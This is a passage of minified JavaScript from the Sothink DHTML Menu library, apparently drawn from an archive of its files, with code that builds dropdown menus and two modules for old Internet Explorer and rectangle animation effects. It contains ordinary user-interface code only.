nI,o=this,p=o.oParPopup,a=o.faItems();if(a[2]<2){return o;}var f=a[0],l=a[1];if(n){if(o==l){nI=f;}else{for(var j=o.iNid+1;j<p.aItems.length;j++){nI=p.aItems[j];if(typeof nI.sTxt!="undefined"){break;}}}}else{if(o==f){nI=l;}else{for(var j=o.iNid-1;j>=0;j--){nI=p.aItems[j];if(typeof nI.sTxt!="undefined"){break;}}}}return nI;};CUIItem.fbRotItem=function(){var o=this,p=o.oParPopup,ppi=p;for(var k=0;k<p.iDepth-1;k++){ppi=ppi.oParPopup;}var P0i=ppi.oParItem;if(p.iDepth==0){P0i=o;}return P0i;};CUIItem.fbPopFirItem=function(){var o=this,p=o.oSubPopup;if(p){var a;for(var i=0;i<p.aItems.length;i++){if(typeof p.aItems[i].sTxt!="undefined"){return p.aItems[i];}}}return false;};CUIItem.fbSetFocus=function(){var o=this,m=o.oParMenu,e=m.oFocus,_r=_STNS,p=o.oParPopup,a=o.faItems(),w=o.iStat&_r.UI.CUIItem.CROSSFRAME?o.oParMenu.fdmGetTarFm():window;if(o==e){return;}if(o.oSubPopup){clearTimeout(o.oSubPopup._tTid);}if(e&&e!=p.oParItem){e.fbFireEnt("mouseout");}o.fbFireEnt("mouseover");if(!(m.iClk&4)){o.fbSetfs();}return true;};CUIItem.fbSetfs=function(){var o=this,m=o.oParMenu,_r=_STNS,w=o.iStat&_r.UI.CUIItem.CROSSFRAME?m.fdmGetTarFm():window;var e=_r.fdmGetEleById((_r.bIsIE&&_r.oNav.version<5.5)?o.sUid:o.sUid+"_lnk",w);if(e){m.oFocus=o;e.focus();}};CUIItem.fbBlur=function(){var w=this.iStat&_STNS.UI.CUIItem.CROSSFRAME?this.oParMenu.fdmGetTarFm():window,e=_STNS.fdmGetEleById(this.sUid+"_lnk",w);if(e){e.blur();}};CUIItem.fbFOver=function(){var o=this;o.fbSetOver();if(o.oSubPopup){o.oSubPopup.fbShow();}o.fbSetfs();};}if(!_STNS._aStMenus){_STNS._aStMenus=[];}STM_FILTER=1;STM_SCROLL=1;STM_RTL=0;STM_AHCM=0;STM_SMSC=1;STM_BIMG=1;STM_ILOC=0;STM_ILINK=0;STM_KEY=(_STNS.bIsIE||_STNS.bIsFX||_STNS.bIsSF)?1:0;STM_bIE8RC=_STNS.bIsIE?(_STNS.oNav.version=="8.0"&&navigator.appMinorVersion=="Release Candidate 1"&&_STNS.sDocMd=="css1")?1:0:0;function stm_bm(a){var jsp,ss,jsr;if(document.getElementsByTagName){ss=document.getElementsByTagName("script");}else{if(document.all.tags){ss=document.all.tags("script");}}for(var j=0;j<ss.length;j++){jsr=ss[j].src;if(jsr&&jsr.indexOf("stmenu.js")!=-1){jsp=jsr.substring(0,jsr.indexOf("stmenu.js"));break;}}if(jsp==null){jsp=_STNS.sLibPth;}var _r=_STNS,n=_r._aStMenus.length,m;m=_r._aStMenus[n]=new _r.UI.CUIMenu;with(m){sJsPth=jsp;iNid=n;sId=a[0];sVer=a[1];sSiteRoot=a[1]>=800?a[23]:"";sImgPth=a[2]?a[2].charAt(a[2].length-1)!="/"?a[2]+"/":a[2]:"";sBlank=fsGetImg(a[3]);bTab=a[4]==4?1:0;iTyp=a[4]==4?0:a[4];iX=a[5];iY=a[6];iHal=a[7];iClk=a[4]==4?(a[24]==1?6:2):a[8];iDelaySV=a[9];iDelaySH=a[10];iDelayHd=a[11];if(a[12]&&(_r.bIsIE&&_r.oNav.platform!=="Mac"||_r.oNav.name=="konqueror")){aHdTags.push("select");}if(a[13]){aHdTags.push("object","embed","applet");}if(a[14]&&(_r.bIsIE&&_r.oNav.version<5.5||_r.bIsOP||_r.oNav.name=="konqueror")){aHdTags.push("iframe");}sLnkPre=a[15]?a[15].charAt(a[15].length-1)!="/"?a[15]+"/":a[15]:"";iWid=a[16];iTracks=a[17];bRTL=a[18];bHdPopup=a[19];iTrackLevel=a[20];aCursors[0]=_STNS.fbIsFile(a[21])?"url("+_STNS.fsGetAbsPth(m.fsGetImg(a[21]))+"),default":a[21];aCursors[1]=_STNS.fbIsFile(a[22])?"url("+_STNS.fsGetAbsPth(m.fsGetImg(a[22]))+"),auto":a[22];iTab=a[4]==4?a[24]:0;iTabHei=a[25]?a[25]:"";bWe=_STNS.bIsIE&&_STNS.oNav.version>=5.5&&(a[13]||a[14])?1:0;}m.__open=true;return m;}function stm_bp(id,a,pid){var _r=_STNS,m=_r._aStMenus[_r._aStMenus.length-1];if(!m||!m.__open){return;}if(pid){for(var i=0;i<m.aPopups.length;i++){if(m.aPopups[i].sId==pid){a=_r.faJoinA(a,m.aPopups[i].__args);break;}}}var pp=0;for(var i=m.aPopups.length-1;i>=0;i--){if(m.aPopups[i].__open){pp=m.aPopups[i];break;}}if(pp&&!pp.aItems.length){return;}var pi=pp?pp.aItems[pp.aItems.length-1]:0,n=m.aPopups.length,p=new _r.UI.CUIPopup;with(p){sId=id;iNid=n;iTyp=a[0];iDirect=a[1];iOffX=a[2];iOffY=a[3];iSpace=a[4];iPad=a[5];iOpac=a[8];if(STM_FILTER&&!m.bTab){sShEff=a[9];if(sShEff=="stEffect(\"slip\")"){iShEff="_stDirection:"+a[1];}else{if(sShEff=="stEffect(\"rect\")"){iShEff=a[20]&&a[21]?"border-style:"+_r.UI.CUIMenu.BORDERS[a[20]]+";border-width:"+a[21]+";border-color:"+a[22]:"border-style:solid;border-width:1px;border-color:#999999";}else{iShEff=a[10];}}sHdEff=a[11];if(sHdEff=="stEffect(\"slip\")"){iHdEff="_stDirection:"+a[1];}else{if(sHdEff=="stEffect(\"rect\")"){iHdEff=a[20]&&a[21]?"border-style:"+_r.UI.CUIMenu.BORDERS[a[20]]+";border-width:"+a[21]+";border-color:"+a[22]:"border-style:solid;border-width:1px;border-color:#999999";}else{iHdEff=a[12];}}if(sHdEff){if(sHdEff=="stEffect(\"slip\")"||sHdEff=="stEffect(\"rect\")"){iHdEffect=2;}else{iHdEffect=1;}}iEffDur=(110-a[13])*10;}iShadow=a[14];iSdSize=_r.bIsIE&&_r.oNav.version>=5.5?a[15]:0;sSdClr=a[16];sBgClr=a[17];sBgImg=m.fsGetImg(a[18]);iBgRep=a[19];iBdStyle=a[20];iBdWid=a[21];sBdClr=a[22];aRounds[0]=a[23]?m.fsGetImg(a[23]):0;aRHeis[0]=a[24]?a[24]:0;aRWids[0]=a[25]?a[25]:0;aRdb[0]=a[26]?a[26]:0;aRBgClrs[0]=a[27]?a[27]:0;aRBgImgs[0]=a[28]?m.fsGetImg(a[28]):0;aRBgReps[0]=a[29]?a[29]:0;aRounds[1]=a[30]?m.fsGetImg(a[30]):0;aRHeis[1]=a[31]?a[31]:0;aRWids[1]=a[32]?a[32]:0;aRdb[1]=a[33]?a[33]:0;aRBgClrs[1]=a[34]?a[34]:0;aRBgImgs[1]=a[35]?m.fsGetImg(a[35]):0;aRBgReps[1]=a[36]?a[36]:0;aRounds[2]=a[37]?m.fsGetImg(a[37]):0;aRHeis[2]=a[38]?a[38]:0;aRWids[2]=a[39]?a[39]:0;aRdb[2]=a[40]?a[40]:0;aRBgClrs[2]=a[41]?a[41]:0;aRBgImgs[2]=a[42]?m.fsGetImg(a[42]):0;aRBgReps[2]=a[43]?a[43]:0;aRounds[3]=a[44]?m.fsGetImg(a[44]):0;aRHeis[3]=a[45]?a[45]:0;aRWids[3]=a[46]?a[46]:0;aRdb[3]=a[47]?a[47]:0;aRBgClrs[3]=a[48]?a[48]:0;aRBgImgs[3]=a[49]?m.fsGetImg(a[49]):0;aRBgReps[3]=a[50]?a[50]:0;aCorners[0]=a[51]?m.fsGetImg(a[51]):0;aCorners[1]=a[52]?m.fsGetImg(a[52]):0;aCorners[2]=a[53]?m.fsGetImg(a[53]):0;aCorners[3]=a[54]?m.fsGetImg(a[54]):0;aCorWHs=[a[55],a[56],a[57],a[58],a[59],a[60],a[61],a[62]];oParMenu=m;oParItem=pi;oParPopup=pp;iZid=pp?pp.iZid+pi.iNid+3:1000;iDepth=pp?pp.iDepth+1:0;if(!iNid){iWid=m.iWid;}if(pi){pi.oSubPopup=p;}fbAttachEnt("mouseover",fbSetOver);fbAttachEnt("mouseout",fbSetOut);if(!n&&!m.iTyp){iTyp|=_r.UI.CUIPopup.STATIC;}if(p.sShEff||p.sHdEff){_STNS.fvInc(_STNS.fsGetAbsPth(m.sJsPth+"steffie.js"));_STNS.fvInc(_STNS.fsGetAbsPth(m.sJsPth+"steffrect.js"));_STNS.fvInc(_STNS.fsGetAbsPth(m.sJsPth+"steffslip.js"));}}p.__args=a;p.__open=true;m.aPopups.push(p);return p;}function stm_bpx(id,pid,a){return stm_bp(id,a,pid);}function stm_ai(id,a,wid,hei,pid){var _r=_STNS,m=_r._aStMenus[_r._aStMenus.length-1];if(!m||!m.__open){return;}var pp;for(var i=m.aPopups.length-1;i>=0;i--){if(m.aPopups[i].__open){pp=m.aPopups[i];break;}}if(!pp){return;}if(pid){for(var i=0;i<m.aPopups.length;i++){for(var j=0;j<m.aPopups[i].aItems.length;j++){if(m.aPopups[i].aItems[j].sId==pid){a=_r.faJoinA(a,m.aPopups[i].aItems[j].__args);break;}}}}var it,n=pp.aItems.length;if(a[0]==6){it=new _r.UI.CUISeparator;with(it){sId=id;iNid=n;sBgClr=a[2];sImg=m.fsGetImg(a[3]);iImgWid=a[4];iImgHei=a[5];if(pp.iTyp&_r.UI.CUIPopup.VERTICAL){iTyp=1;iWid="100%";iHei=Math.max(a[1],a[5]);}else{iTyp=0;iWid=Math.max(a[1],a[4]);iHei="100%";}oParMenu=m;oParPopup=pp;}}else{it=new _r.UI.CUIItem;with(it){sId=id;iNid=n;iTyp=a[0];sFTxt=a[1].replace(/\r\n/g,"\\r\\n");sTxt=!a[0]?_r.fsGetHTMLEnti(a[1]).replace(/\r\n/g,"<br>"):a[1];aImgs[0]=m.fsGetImg(a[2]);aImgs[1]=m.fsGetImg(a[3]);iImgWid=a[4];iImgHei=a[5];iImgBd=a[6];sLnk=_sTLnk=a[7]?m.fsGetLnk(a[7]):"#_nolink";sTar=a[8];sStatus=a[9];sTip=_r.fsGetHTMLEnti(a[10],1);aIcos[0]=m.fsGetImg(a[11]);aIcos[1]=m.fsGetImg(a[12]);iIcoWid=a[13];iIcoHei=a[14];iIcoBd=a[15];aArrs[0]=m.fsGetImg(a[16]);aArrs[1]=m.fsGetImg(a[17]);iArrWid=a[18];iArrHei=a[19];iArrBd=a[20];iHal=a[21];iVal=a[22];aBgClrs[0]=a[24]?"":a[23];aBgClrs[1]=a[26]?"":a[25];aBgImgs[0]=m.fsGetImg(a[27]);aBgImgs[1]=m.fsGetImg(a[28]);aBgReps[0]=a[29];aBgReps[1]=a[30];iBdStyle=a[31];iBdWid=a[32];aBdClrs[0]=a[33];aBdClrs[1]=a[34];aFntClrs[0]=a[35];aFntClrs[1]=a[36];aFnts[0]=a[37];aFnts[1]=a[38];aDecos[0]=a[39];aDecos[1]=a[40];aLTab[0]=m.fsGetImg(a[41]);aLTab[1]=m.fsGetImg(a[42]);aRTab[0]=m.fsGetImg(a[43]);aRTab[1]=m.fsGetImg(a[44]);iLTabWid=a[45];iRTabWid=a[46];iITabHei=a[47];oParPopup=pp;oParMenu=m;iPad=pp.iPad;iWid=wid?wid:(pp.iTyp&_r.UI.CUIPopup.VERTICAL?"100%":-1);iHei=hei?hei:(pp.iTyp&_r.UI.CUIPopup.VERTICAL?-1:"100%");if(!m.bTab){fbAttachEnt("mouseout",fbSetOut);}else{if(m.iTab==2){fbAttachEnt("mouseout",fbSetOut);}}if(m.iTab!=1){fbAttachEnt("mouseover",fbSetOver);}fbAttachEnt("mouseoverlink",fbSetStatus);fbAttachEnt("mouseoutlink",fbReStatus);fbAttachEnt("pressEnter",fbEnter);fbAttachEnt("pressEsc",fbEsc);fbAttachEnt("pressUp",fbUp);fbAttachEnt("pressDown",fbDown);fbAttachEnt("pressLeft",fbLeft);fbAttachEnt("pressRight",fbRight);if(m.iClk&1){fbAttachEnt("click",fbCkClk);fbAttachEnt("mouseover",fbShowSub);fbAttachEnt("clickarrow",fbCkClk);}else{if(m.iClk&4){fbAttachEnt("click",fbShowSub);fbAttachEnt("clickarrow",fbShowSub);if(m.iTab==1){fbAttachEnt("clickarrow",fbSetOver);fbAttachEnt("click",fbSetOver);}}else{fbAttachEnt("mouseover",fbShowSub);fbAttachEnt("clickarrow",fbShowSub);}}fbAttachEnt("clickarrow",_STNS.fbFalse);fbAttachEnt("click",fbOpenLnk);if(STM_KEY){fbAttachEnt("keydown",_STNS.fbTrue);fbAttachEnt("mousemove",fbSetFocus);fbAttachEnt("mousemove",_STNS.fbTrue);}if(m.iTracks&1){if(m.iTracks&2){aFntClrs[2]=aFntClrs[1];}else{aFntClrs[2]=aFntClrs[0];}aFntClrs[3]=aFntClrs[1];if(m.iTracks&4){aFnts[2]=aFnts[1];aDecos[2]=aDecos[1];}else{aFnts[2]=aFnts[0];aDecos[2]=aDecos[0];}aFnts[3]=aFnts[1];aDecos[3]=aDecos[1];if(m.iTracks&8){aBgClrs[2]=aBgClrs[1];}else{aBgClrs[2]=aBgClrs[0];}aBgClrs[3]=aBgClrs[1];if(m.iTracks&16){aBgImgs[2]=aBgImgs[1];aBgReps[2]=aBgReps[1];}else{aBgImgs[2]=aBgImgs[0];aBgReps[2]=aBgReps[0];}aBgImgs[3]=aBgImgs[1];aBgReps[3]=aBgReps[1];if(m.iTracks&32){aBdClrs[2]=aBdClrs[1];}else{aBdClrs[2]=aBdClrs[0];}aBdClrs[3]=aBdClrs[1];if(m.iTracks&64){aIcos[2]=aIcos[1];}else{aIcos[2]=aIcos[0];}aIcos[3]=aIcos[1];if(m.iTracks&128){aImgs[2]=aImgs[1];}else{aImgs[2]=aImgs[0];}aImgs[3]=aImgs[1];if(m.iTracks&256){aArrs[2]=aArrs[1];}else{aArrs[2]=aArrs[0];}aArrs[3]=aArrs[1];}}}it.__args=a;pp.aItems.push(it);return it;}function stm_aix(id,pid,a,wid,hei){return stm_ai(id,a,wid,hei,pid);}function stm_ep(){var m=_STNS._aStMenus[_STNS._aStMenus.length-1];if(!m||!m.__open){return;}var p;for(var i=m.aPopups.length-1;i>=0;i--){if(m.aPopups[i].__open){p=m.aPopups[i];break;}}if(!p){return;}if(p.aItems.length){if(!p.bMul){if(p.iTyp&_STNS.UI.CUIPopup.VERTICAL){var lw=0,rw=0;for(var i=0;i<p.aItems.length;i++){if(p.aItems[i].iIcoWid>lw&&p.aItems[i].iIcoHei){lw=p.aItems[i].iIcoWid;}if(p.aItems[i].iArrWid>rw&&p.aItems[i].iArrHei){rw=p.aItems[i].iArrWid;}}if(!p.bMul&&lw){for(var i=0;i<p.aItems.length;i++){if(!p.aItems[i].iIcoWid||!p.aItems[i].iIcoHei){p.aItems[i].iIcoWid=lw;p.aItems[i].iIcoHei=1;p.aItems[i].aIcos=[];}p.aItems[i].iLeftWid=lw;}}if(!p.bMul&&rw){for(var i=0;i<p.aItems.length;i++){if(!p.aItems[i].iArrWid||!p.aItems[i].iArrHei){p.aItems[i].iArrWid=rw;p.aItems[i].iArrHei=1;p.aItems[i].aArrs=[];}p.aItems[i].iRightWid=rw;}}}}else{var _r=_STNS,_c=_r.UI.CUIPopup,m=p.oParMenu,_mc=_r.UI.CUIMenu,v=p.iTyp&_c.VERTICAL;if(p.bMul){var _mlc=p.bMul?v?1:0:0,_mlr=p.bMul?!v?1:0:0,_ml=p.iMl,_278=p.iMSpc,_279=p.aItems.length,_27a=Math.ceil(p.aItems.length/_ml),_27b=Math.floor(p.aItems.length/_ml),_27c=_27a==_27b?0:p.aItems.length%_ml,_stp=p.aItems.length<_ml?p.aItems.length:_ml;}var _27e=[];if(_mlr){var _tc=0,_27e=[];for(var c=0;c<_27a;c++){n=0;for(var j=_tc;j<_tc+_stp;j++){if(_279>0){if(!_27e[n]){_27e[n]=[];}_27e[n][c]=j;n++;}_279--;}_tc=_tc+_stp;}}else{if(_mlc){_tprs=_27a==_27b?0:p.aItems.length%_ml;for(var c=0;c<_stp;c++){var _mli=0,n=0;for(var j=0;j<(_27c==0?_27a:_tprs>0?_27a:_27b);j++){if(_279>0){_mli=j==0?c:_mli+_stp;if(!_27e[n]){_27e[n]=[];}_27e[n][c]=_mli;_279--;n++;}}_tprs>0?_tprs--:"";}}}for(var j=0;j<_27e.length;j++){var lw=0,rw=0;for(var i=0;i<_27e[j].length;i++){if(p.aItems[_27e[j][i]].iIcoWid>lw&&p.aItems[_27e[j][i]].iIcoHei){lw=p.aItems[_27e[j][i]].iIcoWid;}if(p.aItems[_27e[j][i]].iArrWid>rw&&p.aItems[_27e[j][i]].iArrHei){rw=p.aItems[_27e[j][i]].iArrWid;}}if(lw){for(var i=0;i<_27e[j].length;i++){if(!p.aItems[_27e[j][i]].iIcoWid||!p.aItems[_27e[j][i]].iIcoHei){p.aItems[_27e[j][i]].iIcoWid=lw;p.aItems[_27e[j][i]].iIcoHei=1;p.aItems[_27e[j][i]].aIcos=[];}p.aItems[_27e[j][i]].iLeftWid=lw;}}if(rw){for(var i=0;i<_27e[j].length;i++){if(!p.aItems[_27e[j][i]].iArrWid||!p.aItems[_27e[j][i]].iArrHei){p.aItems[_27e[j][i]].iArrWid=rw;p.aItems[_27e[j][i]].iArrHei=1;p.aItems[_27e[j][i]].aArrs=[];}p.aItems[_27e[j][i]].iRightWid=rw;}}}}delete p.__open;}else{var pi=p.oParItem;if(pi){pi.oSubPopup=null;pi.aArrs.length=0;pi.iArrWid=0;pi.iArrHei=0;}m.aPopups.pop();p.fvDestroy();}}function stm_em(){var m=_STNS._aStMenus[_STNS._aStMenus.length-1];if(!m||!m.__open){return;}if(m.aPopups.length){delete m.__open;for(var i=0;i<m.aPopups.length;i++){delete m.aPopups[i].__args;for(var j=0;j<m.aPopups[i].aItems.length;j++){delete m.aPopups[i].aItems[j].__args;}}_STNS.fvLoadLib();m.fbShow();}else{_STNS._aStMenus.pop();m.fvDestroy();}if(STM_KEY){var _r=_STNS;if(_r.bIsIE){document.attachEvent("onclick",m.fbClick);}else{document.addEventListener("click",m.fbClick,true);}if(!_STNS.addKD&&m.iTyp!=3){if(_r.bIsIE){document.attachEvent("onkeydown",m.fbKeydown);}else{document.addEventListener("keydown",m.fbKeydown,true);}}_STNS.addKD=true;}}function stm_cf(a,m){var m=_STNS._aStMenus[_STNS._aStMenus.length-1];if(!m||!m.__open){return;}m.bCfm=true;m.iCfD=a[0];m.iCfX=a[1];m.iCfY=a[2];m.sTarFm=a[3];m.sSrcFm=a[4];m.bCfShow=a[5];}function stm_sc(n,a){if(STM_SCROLL){var _r=_STNS,m=_r._aStMenus[_r._aStMenus.length-1];if(!m||!m.__open){return;}n?m.iScType|=2:m.iScType|=1;var bSC=((_r.bIsIE&&_r.oNav.version<5)||_r.bIsMIE||(_r.bIsFX&&_r.oNav.version<20040804)||(_r.bIsOP&&_r.oNav.version<9)||_r.bIsSF||(_r.oNav.name=="konqueror"&&_r.oNav.version>=3));for(var i=1;i<m.aPopups.length;i++){var it=[],pp=m.aPopups[i],v=pp.iTyp&_STNS.UI.CUIPopup.VERTICAL;if(pp.bMul||n^v||bSC){continue;}for(var j=0;j<2;j++){it[j]=new _r.UI.CUIItem;with(it[j]){bScr=true;sId=j;iNid=pp.aScBars.length;iTyp=2;sTxt="";iHal=1;iVal=1;aBgClrs[0]=a[0];aBgClrs[1]=a[1];aBgImgs[0]=m.fsGetImg(a[2]);aBgImgs[1]=m.fsGetImg(a[3]);aBgReps[0]=a[4];aBgReps[1]=a[5];iBdStyle=a[6];iBdWid=a[7];aBdClrs[0]=a[8];aBdClrs[1]=a[9];aImgs[0]=j==0?m.fsGetImg(a[10]):m.fsGetImg(a[15]);aImgs[1]=j==0?m.fsGetImg(a[11]):m.fsGetImg(a[16]);iImgWid=j==0?a[12]:a[17];iImgHei=j==0?a[13]:a[18];iImgBd=j==0?a[14]:a[19];iScD=a[20]?a[21]:0;oParPopup=pp;oParMenu=m;iWid="100%";iHei="100%";fbAttachEnt("mouseover",fbSetOver);fbAttachEnt("mouseout",fbSetOut);fbAttachEnt("click",_STNS.fbFalse);}it[j].__args=a;pp.aScBars[j]=it[j];}}}}function stm_mc(l,a){var _r=_STNS,_298,m=_r._aStMenus[_r._aStMenus.length-1];if(!m||!m.__open){return;}var pp=0;for(var i=m.aPopups.length-1;i>=0;i--){if(m.aPopups[i].__open){pp=m.aPopups[i];break;}}switch(a[5]){case 1:_298="repeat-x";break;case 2:_298="repeat-y";break;case 3:_298="repeat";break;default:_298="no-repeat";}pp.bMul=m.bTab?false:true,pp.iMl=a[0],pp.sMBgClrs=a[2]?"":a[1],pp.sMOpc=a[2],pp.iMSpc=a[3],pp.sMBgImgs=a[4]?m.fsGetImg(a[4]):"",pp.sMBgReps=_298?_298:"no-repeat";for(var i=0;i<pp.aItems.length;i++){pp.aItems[i].iWid==-1?pp.aItems[i].iWid="100%":"";pp.aItems[i].iHei==-1?pp.aItems[i].iHei="100%":"";}}function stgcl(w){return _STNS.fiGetCL(w);}function stgct(w){return _STNS.fiGetCT(w);}function stgcw(w){return _STNS.fiGetCW(w);}function stgch(w){return _STNS.fiGetCH(w);}function stgMe(n){for(var j=0;j<_STNS._aStMenus.length;j++){if(_STNS._aStMenus[j].sId==n){return _STNS._aStMenus[j];}}return false;}function hideMenu(n){var m;if(m=stgMe(n)){var p=m.aPopups[0];p.fbHide();}}function showFloatMenuAt(n,x,y){var m;if(m=stgMe(n)){m.iX=x;m.iY=y;var p=m.aPopups[0];var s,pos=p.faGetXY(1);m.iX=pos[0];m.iY=pos[1];p.fbHide();p.fbShow();}}} steffie.js 0000666 00000005766 15155054006 0006552 0 ustar 00 /*================================================================ ORC_JS, JavaScript Class Framework version:dhtml menu 9.2,3.10.90326 Copyright 2008 by SourceTec Software Co.,LTD For more information, see:www.sothink.com ================================================================*/ if(typeof _STNS!="undefined"&&_STNS.EFFECT&&_STNS.bIsIE&&!_STNS.EFFECT.CEffIE){with(_STNS.EFFECT){_STNS.EFFECT.CEffIE=_STNS.Class(_STNS.EFFECT.CEffect);CEffIE.register("EFFECT/CEffect>CEffIE");CEffIE.construct=function(as){this.iFid=as[4]?parseInt(as[4]):-1;this.sfName="";this.iDur=as[3]||-1;this.sBak="";this._iOid=-1;this._iStat=-1;this._iGid=-1;with(_STNS.EFFECT.CEffIE){this.fiGetStat=fiGetStat;this.fbSet=fbSet;this.fbDel=fbDel;this.fbApply=fbApply;this.fbPlay=fbPlay;this.fbStop=fbStop;this.fbSetStyle=fbSetStyle;}};CEffIE._aGlobal=[];CEffIE.fiGetStat=function(){var _r=_STNS,e;if(this._iStat==-1){return -1;}if(e=_r.fdmGetEleById(this.sDmId,this.dmWin)){return e.status;}else{return this._iStat;}};CEffIE.fbSet=function(){var _r=_STNS,e,s,fs=[],i=0,_9,n;if(e=_r.fdmGetEleById(this.sDmId,this.dmWin)){if(this.sName&&_STNS.oNav.version>=5.5){s=this.sfName=this.sName;}else{if(_STNS.oNav.version<5.5&&this.iFid>=0&&this.iFid<24&&this.iDur!=-1){s=this.sfName="revealTrans(Transition="+this.iFid+",Duration="+this.iDur/1000+")";}else{return false;}}_9=e.style.filter;if(_9){var re=/[\w:\.]+\([^;\)]+\)/g;fs=_9.match(re);}if(this._iGid==-1){n=_r.EFFECT.CEffIE._aGlobal.length;_r.EFFECT.CEffIE._aGlobal.push(this);this._iGid=n;}if(!fs){fs=[];}for(i=0;i<fs.length;i++){if(fs[i]==this.sfName){this._iOid=i;return true;}}this._iOid=i;e.style.filter=(_9?_9+" ":"")+s;}this.iStat=0;return true;};CEffIE.fbDel=function(){var _r=_STNS,e,s,fs=[],bak,i,f=1,t;this.fbStop();if(e=_r.fdmGetEleById(this.sDmId,this.dmWin)){t=_STNS.EFFECT.CEffIE._aGlobal;t[this._iGid]=null;for(i=0;i<t.length;i++){if(t[i]&&t[i].sDmId==this.sDmId&&t[i].dmWin==this.dmWin&&t[i]._iOid==this._iOid){f=0;}}if(!f){return true;}bak=e.style.filter;if(bak){var re=/[\w:\.]+\([^;\)]+\)/g;fs=bak.match(re);}for(i=0;i<fs.length;i++){if(fs[i]==this.sfName){fs[i]="";}}e.style.filter=fs.length?fs.join(" "):"";for(i=0;i<t.length;i++){if(t[i]&&t[i].sDmId==this.sDmId&&t[i].dmWin==this.dmWin&&t[i]._iOid>this._iOid){t[i]._iOid--;}}}this._iStat=-1;return true;};CEffIE.fbApply=function(){var _r=_STNS,e;if(e=_r.fdmGetEleById(this.sDmId,this.dmWin)){if(e.filters[this._iOid]){e.filters[this._iOid].apply();}}this._iStat=1;return true;};CEffIE.fbPlay=function(){var _r=_STNS,e;if(e=_r.fdmGetEleById(this.sDmId,this.dmWin)){if(e.filters[this._iOid]){e.filters[this._iOid].play();}}this._iStat=2;return true;};CEffIE.fbStop=function(){var _r=_STNS,e;if(this.iStat>-1){if(e=_r.fdmGetEleById(this.sDmId,this.dmWin)){if(e.filters[this._iOid]&&e.filters[this._iOid].status){e.filters[this._iOid].stop();}}this._iStat=0;}return true;};CEffIE.fbSetStyle=function(s){var _r=_STNS,e;if(e=_r.fdmGetEleById(this.sDmId,this.dmWin)){var ss=_r.foCss2Style(s),i;for(i in ss){try{e.style[i]=ss[i];}catch(e){}}}return true;};}} steffrect.js 0000666 00000010756 15155054006 0007105 0 ustar 00 /*================================================================ ORC_JS, JavaScript Class Framework version:dhtml menu 9.2,3.10.90326 Copyright 2008 by SourceTec Software Co.,LTD For more information, see:www.sothink.com ================================================================*/ if(typeof _STNS!="undefined"&&_STNS.EFFECT&&!_STNS.EFFECT.CEffRect){with(_STNS.EFFECT){_STNS.EFFECT.CEffRect=_STNS.Class(_STNS.EFFECT.CEffect);CEffRect.register("EFFECT/CEffect>CEffRect");CEffRect.construct=function(as){this._tTid=0;this._bShow=0;this._iFms=12;this._iDt=50;this._iDx=0;this._iDy=0;this._iDsx=0;this._iDsy=0;this._iX=0;this._iY=0;this._iSX=-1;this._iSY=-1;this._iGid=-1;this._iCurWid=0;this._iCurHei=0;this.iDur=as[3];this._sBdStyle="solid";this._iBdWid=1;this._sBdClr="#999999";with(_STNS.EFFECT.CEffRect){this.fbSet=fbSet;this.fbDel=fbDel;this.fbApply=fbApply;this.fbPlay=fbPlay;this.fbStop=fbStop;this.fbSetStyle=fbSetStyle;this.fbShow=fbShow;this.fbHide=fbHide;}if(as[4]){this.fbSetStyle(as[4]);}};CEffRect.fbSet=function(){var _r=_STNS,e=_r.fdmGetEleById(this.sDmId,this.dmWin),n;if(!e){return false;}if(this._iGid==-1){n=_r.EFFECT.CEffRect._aGlobal.length;_r.EFFECT.CEffRect._aGlobal.push(this);this._iGid=n;}s="<div style="+"'position:absolute;left:0px;top:0px;z-index:1000;font-size:1pt;line-height:1pt;display:none;background:transparent;'"+" id='stEffR_"+this._iGid+"'>"+"</div>";_STNS.fbInsHTML(this.dmWin.document.body,"afterBegin",s);this._iStat=0;return true;};CEffRect.fbDel=function(){this.fbStop();this._iStat=-1;_STNS.EFFECT.CEffRect._aGlobal[this._iGid]=null;return true;};CEffRect.fbApply=function(){var _r=_STNS,e=_r.fdmGetEleById(this.sDmId,this.dmWin);if(!e){return false;}this._iCurWid=_r.fiGetEleWid(e);this._iCurHei=_r.fiGetEleHei(e);this._iDt=Math.floor(this.iDur/this._iFms);this._iDx=Math.round(this._iCurWid/this._iFms);this._iDy=Math.round(this._iCurHei/this._iFms);e=_r.fdmGetEleById("stEffR_"+this._iGid,this.dmWin);e.style.borderStyle=this._sBdStyle;e.style.borderWidth=this._iBdWid+"px";e.style.borderColor=this._sBdClr;if(!_r.EFFECT.CEffRect._aGlobal[this._iGid]){_r.EFFECT.CEffRect._aGlobal[this._iGid]=this;}this._iStat=1;return true;};CEffRect.fbPlay=function(){if(this._iStat!=1){return false;}if(this._bShow){this.fbShow();}else{this.fbHide();}this._iStat=2;return true;};CEffRect.fbStop=function(){if(this._iStat>0){clearTimeout(this._tTid);var e=_STNS.fdmGetEleById("stEffR_"+this._iGid,this.dmWin);e.style.display="none";e=_STNS.fdmGetEleById(this.sDmId,this.dmWin);e.style.left=this._iX+"px";e.style.top=this._iY+"px";if(this._bShow){e.style.visibility="visible";}else{e.style.visibility="hidden";}this._iStat=0;}return true;};CEffRect.fbSetStyle=function(s){var _r=_STNS,ss;ss=_r.foCss2Style(s);if(ss["visibility"]=="hidden"){this._bShow=0;}else{if(ss["visibility"]=="visible"){this._bShow=1;}}if(ss["left"]){this._iX=parseInt(ss["left"]);}if(ss["top"]){this._iY=parseInt(ss["top"]);}if(ss["borderStyle"]){this._sBdStyle=ss["borderStyle"];}if(ss["borderWidth"]){this._iBdWid=parseInt(ss["borderWidth"]);}if(ss["borderColor"]){this._sBdClr=ss["borderColor"];}if(ss["_stStartX"]){this._iSX=parseInt(ss["_stStartX"]);}else{this._iSX=this._iX+this._iCurWid/2;}if(ss["_stStartY"]){this._iSY=parseInt(ss["_stStartY"]);}else{this._iSY=this._iY+this._iCurHei/2;}this._iDsx=Math.floor((this._iSX-this._iX)/this._iFms);this._iDsy=Math.floor((this._iSY-this._iY)/this._iFms);};CEffRect._aGlobal=[];CEffRect.fbShow=function(t){var _r=_STNS,e=_r.fdmGetEleById("stEffR_"+this._iGid,this.dmWin);if(!t){t=0;}if(t>=this._iFms){e.style.display="none";e=_r.fdmGetEleById(this.sDmId,this.dmWin);e.style.left=this._iX+"px";e.style.top=this._iY+"px";e.style.visibility="visible";this._iStat=0;return 